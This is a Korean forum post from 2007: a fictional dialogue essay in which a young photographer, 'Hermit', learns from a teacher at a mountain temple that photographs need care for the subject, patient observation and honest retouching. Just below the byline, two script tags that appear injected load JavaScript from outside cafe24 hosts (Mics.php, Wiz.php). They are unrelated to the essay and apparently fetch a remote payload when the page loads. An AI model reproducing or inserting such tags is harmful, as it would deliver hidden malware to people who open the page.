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[사진] 사진은 왜 찍는가. #1
글쓴이 : 김자윤 날짜 : 2007-11-24 (토) 21:16 조회 : 2478
                              <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script>  사진은 왜 찍는가. #1

전라도 구레의 지리산 중턱에 내 친구의 소개로 찾아간 조그마한 산사는 그때가 여름이었음에도 불구하고 서늘한 기운이 감돌았다. 도선국사가 풍수지리상 땅을 달래기 위해 만들었던 절이라 했던가... 거기서 나는 스승님을 만나뵙게 되었다. 그 절의 스님은 아니었지만 공부를 위해 몇 년간 기거한다던 그분은 깔끔한 적삼에 깔끔한 헤어스타일의 일반 회사의 중역 정도 되는 외모에 히끗 히끗하게 세어가던 흰머리가 눈에 띄는 분이었을 뿐이었다.
개인적인 생각으로는 절에 지낸지 한달도 채 안된 여행 좋아하는 나이든 교수님이겠거니 했지만 친구의 설명으로는 꽤 오랫동안 작가생활을 하다가 5년 동안 산사에 지내신다는 분이었다. 당시, 나는 그 분의 사진집을 보지도 못했거니와 그다지 특별하고 개성있는 외모도 아니었기에 뭐 그리 대단한 분일까 하는 생각도 가지고 있었다.

사실 그분과 그 대단하고 긴 대화를 다 기억하고 있지는 못한다. 뭐 그다지 긴 세월이 흐른것도 아니었지만 나의 기억력 탓으로 부분 부분 중요한 정도만 기억할 뿐이다. 하지만 그럼에도 불구하고 내 가슴에 인두처럼 지져진 상처처럼 크게 남아있는 그 분의 말씀은 언제나 기억을 되새길 수록 새로움을 느낄 수가 있었다.

처음 그 분께 던진 질문은 그냥 가벼이 내가 찍은 사진에 대해 평이나 해주십사 했을 뿐이다.

Hermit : 하찮은 사진이지만 평 부탁드리겠습니다...선생님.

선생님 : 이 사진은 다 디지털카메라로 찍은겐가? 그래보이는 군...요즘은 디지털 카메라가 인기라지? 그나저나 많이 어둡군...이건 자네의 문제라기 보다는 인화할 때의 문제인거 같네만.

Hermit : 네, 마침 제가 공짜로 인화할 수 있는 곳이 있엇는데 그 곳의 인화품질이 별로 였었죠.

선생님 : 흠, 그런겐가. 근데 자네는 디지탈 카메라 말고 일반 카메라로는 사진을 안 찍는가?

Hermit : 아, 필름 카메라 말씀이시군요. 왜 안 찍겠습니까. 필름카메라로도 찍죠...아무래도 이런 디카보다는 필름 카메라가 훨씬 낫지요? 그런데 뭐 편의성이나 기타 필름값 생각하면 디카가 편해서 디카로 찍고 있습니다.

선생님 : 뭐 보통은 필름카메라와 디카라는 이름으로 구분하는 모양이네. 그런데 뭐 사실 생각하기 따라서는 디지털 카메라가 나을 수도 있지. 그건 그 사람에 따라 달린거야.

Hermit : 디카가 편리한 측면으로나 경제적인 측면으로는 낫겠지요.

선생님 : 아니, 그게 아니라도 말일세...

Hermit : 그럼 어떤 측면을 말씀하시는지요?

선생님 : 뭐랄까, 아무리 뭐라해도 찍는 사람의 손에 익으면 그것이 가장 낫지 않을까 해서. 아주 작고 전문적이지 못한 카메라라도 그 사람의 손에 익으면 되는거지. 그게 애초 그사람의 목적에 가장 맞는 카메라니까.

Hermit : 네, 선생님. 그렇지만 그런 카메라로는 제 생각에 많은 것을 담지 못한다고 생각합니다. 아름다운 꽃들, 휘황찬란한 노을, 그리고 광활한 하늘과 바다 등...

선생님 : 왜 그렇게 생각하지? 자네는 그런것들만이 진정한 사진이라 생각하나?

Hermit : 뭐 그렇지는 않겠지만 적어도 사진을 찍는 사람이면 누구나 다 그런 대상을 좋아하겠죠.

선생님 : 하하, 글쎄, 자넨 그런 피사체들을 좋아하나 보군. 그렇지만 누구나 그런건 아니지. 대다수는 자신의 아이나 주변 사람들, 그리고 그 인물들 뒤에 펼쳐진 풍경을 좋아할 뿐이지.

Hermit : 하지만 그것은 지극히 개인적인 부분 아닙니까? 그러한 개인적인 부분은 개인적인 부분일 뿐, 사진을 진정으로 찍으려 하는 사람이 신경쓰는 부분은 아니라고 생각합니다.

선생님 : 그런가? 그러나 이렇게 생각해볼 수 있지 않을까? 진정한 사진은 그런 개인적인 부분부터 시작된다는 것을 말야. 사진이 애초 왜 나왔는지 목적을 생각해보게. 사진은 단지 회화를 대신해서 주변의 것들을 간직하기 위해서 나왔을 뿐이야. 그것이 예술로 발달했다 손 치지만 예술이 최초 목적보다 더 앞서 나타나지는 않았지.

Hermit : 뭐, 그렇다면 선생님은 제가 어릴때 찍었던 돐사진이 예술이 될 수도 있다고 생각하시는군요.

선생님 : 아니, 그게 아니라 돐사진은 돐사진이고 예술은 예술이라는 거지. 그렇지만 그러한 사진들도 예술이 될 수있다고 생각하네. 낸 골딘의 경우도 그렇겠지.

Hermit : 말씀은 알겠습니다만 지금 제가 찍은 사진들은 그러한 사진들도 아니고 선생님께서 그러한 얘기를 하는 이유를 모르겠습니다.

선생님 : 허허, 그런가. 그러나 내가 보기엔 그게 찍사의 기초라 생각하네. 글쎄 어떻게 생각할지 모르겠지만 자네사진에는 주변에 대한 존중이 없어. 이 사진을 찍을 당시는 어땠는지 모르겠지만 대부분 이 사진들은 자네가 지나가다가 이쁘다고 생각되어서 무턱대고 셔터를 누른 것에 불과하네...자네가 디자인과랬으니 찍을때 구도와 색감을 더 신경 쓴다 뿐이겠지...

Hermit : 다들 그렇지 않습니까? 사진을 찍을때 찍기 좋은 피사체를 보고 그 피사체에 알맞은 구도와 색감을 정한다음, 적정 노출을 따지지 않습니까? 결국 어떤게 좋은 피사체인가를 가리는 눈이 가장 중요한게 되겠지요.

선생님 : 자네 생각은 그런가마는 나는 그렇게 생각하지 않네. 좋아, 자네는 사진을 왜 찍는가?

Hermit : 흠...글쎄. 전 뭐...

선생님 : 자네가 사진을 찍는 최종적인 이유는 모르겠지만 난 적어도 자네가 사진을 찍는 당면의 이유는 눈 앞에 보는 이쁜 피사체나 장면을 간직하고 싶어서 그랬다고 생각하네. 경찰서에서나 전문적인 기관에서 증거사진이나 아주 전문적인 사진을 찍는 이유도 결국 다 그 이유라네. 그 이상의 목적은 없어. 물론 최종목적이야 나는 잘 모르겠네.

Hermit : 네, 그런것 같습니다. 저는 제 주변의 소중한 기억들, 또는 소중한 장면들을 놓치고 싶지 않아서 그런 것이죠.

선생님 : 그렇다면 결국 태어난 자기 아이들을 찍는다거나 놀러가서 가족과 함께 찍는다는 것과 똑같은 목적이 아닌가?

Hermit : 아...네...그럴수도...뭐 그렇지만...흠. 뭔가 좀 다르지 않을까 합니다.

선생님 : 자네는 벌써 일반인들이 사진 찍는 목적을 업신여기고 있다네. 그래가지고서야 사진을 진정으로 찍는 순간을 체험할 수가 없을거야.

Hermit : 왜 그렇지요? 제가 찍는것도 역시 소중한 것들 아닌가요?

선생님 : 가족 사진을 찍는 사람들은 그들에게 가장 소중한 순간이네. 행복하든 불행하든 찍는 순간만큼은 정말 행복하다고 생각을 할테고 그러한 순간들을 꼭 간직하고 싶어하네. 그 사람에게 있어 찍는 대상은 그에게 뗄레야 뗄수없는 소중한 것들이지. 그러나 자네는 찍는 대상을 그리 생각해본적 있나? 여기 꽃 사진이 있네. 이 꽃을 자네와 뗄레야 뗄 수 없는 소중한 것이라 생각해본 적이 있냐는 말이지.

Hermit : 물론, 그런적은 없습니다. 그러나 그것이 사진의 최종 품질과는 무슨 관계가 있지요? 최대한 아름답고 이쁜 사진이 나오면 되는 것 아닌가요? 실제로 사진작가들이 찍는 피사체에 대해 자기 딸만큼 소중하게 생각하는 사람이 누가 있을까요.

선생님 : 아니라네...찍사가 피사체에 대해 자기 육친 만큼의 애정을 쏟아야 사진이 나오는 법이야. 예를 들어보지. 자네 여자친구가 있다 치면 그 친구 사진을 찍어줄때 표정이 안 이쁘게 나왔다면 어쩔건가?

Hermit : 그거야 다시 찍으면 되지요.

선생님 : 그런데 표정이 이쁘게 나왔는지 안 이쁘게 나왔는지는 어찌 알지?

Hermit : 보면 알지요...

선생님 : 보면 안다면 진작 찍을때 이쁠 순간을 찍으면 되지 않나?

Hermit : 그건 그렇게 되는게 아니지요. 항상 찍고나서 그 사실을 알게되는 경우가 태반이니까.

선생님 : 그런데 자네는 자네가 찍은 이 꽃을 한번 보고 이 꽃을 찍었을 때가 가장 이쁠때인지 안 이쁠때인지 어떻게 아는가?

Hermit : 그거야 뭐...그런데 뭐...약간 안 이쁘면 다시 찍습니다.

선생님 : 그건 그렇고 이 꽃이 정말로 이쁜지 안 이쁜지는 어떻게 아나? 이 꽃이 가장 이쁠 순간이 또 다른 순간에 있으리라 생각하지는 않나?

Hermit : 이해할 수가 없군요. 그건 보면 안다고 말씀드렸지 않았습니까?

선생님 : 자넨 처음 자네 여자친구를 보았을 때와 오래 지난후에 보았을 때나 이쁜 정도가 똑같던가? 친구들 사진을 찍어보면 누구나 항상 처음보면 이쁜지 안 이쁜지 단번에 알게 되던가?

Hermit : 그거야...그러기는 힘들겠죠...

선생님 : 사물도 마찬가지라네. 사물 역시 차별하지 말게. 사물은 여러번 보고, 또 보고 그러고 나서 그 사물에 대해서 자세히 알고. 그도 모자라면 공부하고...그렇게 하고 나서야 진정으로 사물이 언제 이쁠지를 알게 된다네. 그러나 찍사들은 그것도 모자라서 가장 이쁜 빛이 쏟아질 때를 기다리고 또 기다리는 경우가 태반이지. 그런데 자네가 찍어온 사진은 대부분 피사체를 처음 보고 이뻐서 셔터를 눌러댄거 말고는 별로 한일이 없지 않은가?

Hermit : ......

선생님 : 그렇지 않은가?

Hermit : 그러나, 사람들과 같이 우르르 출사 나가서 그 사물을 그 이전부터 몇번씩이나 꾸준히 본것도 아니고 어떻게 그렇게 끈질기게 관찰하고 공부할 수 있습니까.

선생님 : 요는 마음자세인거지. 모르긴 몰라도 이 사진으로 봐서는 자네가 사진을 찍는 방식이 두 세번 확인하고 그냥 셔터 눌러버린거 같네. 그러나 나라면 말일세, 미리 찍기전에 찍을 피사체에 대해 미리 공부를 하고 가겠네. 뭐 그리 복잡한 공부도 아니네. 그냥 사진을 찍기 전에 이 피사체는 어떤 피사체인가. 그리고 무엇을 보여주려 하는 것인가 정도를 말일세. 그리고 나서 찍을 당일날 열심히 살펴보지. 대부분 그렇게 되면 한군데서 뱅뱅 도는 경우도 있겠지만 찍사들은 그런것을 감수하지. 그리고 나서 예비로 중형용 46싸이즈 폴라로이드를 넣어서 찍어보고. 다시 빛을 기다려 보고. 출사가 아니라면 그 전날 가서 언제 빛이 가장 좋은가 까지 확인을 하지. 그게 아니라 다 같이 가는 출사라면 그전에 공부해 둔 그런 점을 염두에 두고 말이야.

Hermit : 선생님 말씀은 알겠습니다만 그건 너무 전문가적인 촬영방식 아닙니까?

선생님 : 자네는 그냥 주변 사람들 찍어주는 건 싫다면서?

Hermit : 네, 그렇긴 하지만...취미사진가라도 그런것을 촬영하는 사람이 없는 것도 아닐거 아닙니까.

선생님 : 후, 내가 방금전에 말했다 시피 요는 마음자세라네. 이러한 전문가적인 과정을 자네에게 바라는게 아냐. 사진을 진정으로 찍고 싶다면 피사체에 대한 애정이 털끝만큼도 없으면서 꽃이니 나무니 풍경이니 찍어댔다고 내놓는게 우습다는 말일세. 그렇지 않겠는가?

Hermit : ......

선생님 : 요즘 디지탈 보정에 대해서도 마찬가지 입장이라네. 나는 컴퓨터에서 사진의 색 보정을 보고 또 리터칭을 해서 사진이 이뻐지는 것을 막자는게 아니라네. 여기 찰칵, 저기 찰칵, 아무렇게나 사진을 찍어놓고 사진이 별로 안 이쁘니까 색깔만 잔뜩 화려하고 이쁘게 만들어 놓으면 그게 뭔 소용인가? 피사체가 가장 이쁠때 찍어놓고 나서야 사진에 손을 대더라도 최소한 찍힌 사물에 대한 양심이 있는거지.

Hermit : 선생님, 제가 너무 몰랐나 봅니다. 제 무례를 용서해 주시기 바랍니다.

선생님 : 허허, 뭐 자네한테 하는 말은 아니었네. 며칠전 내 후배가 와서 한다는 얘기들이 자네와 똑같은 얘기를 늘어놓으니 좀 답답해서 하는 말이라네. 사진은 확률적으로 누구라도 뛰어난 사진을 찍을 수 있다네. 그러나 제발 카메라에 대한 예의, 사물에 대한 예의, 필름에 대한 예의를 지키길 바라네. 자네가 관광객은 아니지 않는가.

(나는 잠시 말이 없어졌다...)

Hermit : 잘 알았습니다. 선생님, 다음에도 제가 여쭙고 싶은게 많습니다. 오늘 뿐 아니라 다음에 찍다가 또 궁금한 것을 여쭈어도 되겠습니까?

선생님 : 언제든 환영이라네. 날도 더운데 친구와 산공기라도 마시고 오는게 어떻겠는가? 밤이라도 사물들은 자신의 이쁜 모습을 드러낸다네.

Hermit : 네, 알겠습니다. 선생님 오늘 정말 감사했습니다.

선생님은 손을 휘휘 저으며 아니라는 듯 말을 했으나 그때 나는 부끄러움으로 어쩔 줄을 몰라했다. 후에 여러번 선생님을 찾아뵈었으나 그때 마다 귀찮아 하지 않고 계속 열정적으로 답변을 주실때 비로소 내 마음속에는 스승이란 이런 것이구나 하는 마음이 생기기 시작했다.




* 이 글의 인물들과 사건들은 전부 가상으로 구성한 것을 미리 알려드립니다.

* 글의 형식을 저렇게 Hermit-선생님의 구도로 만든 이유는 저도 도달하지 못한 내공을 대신 말해줄 누군가가 필요했기 때문입니다.

 
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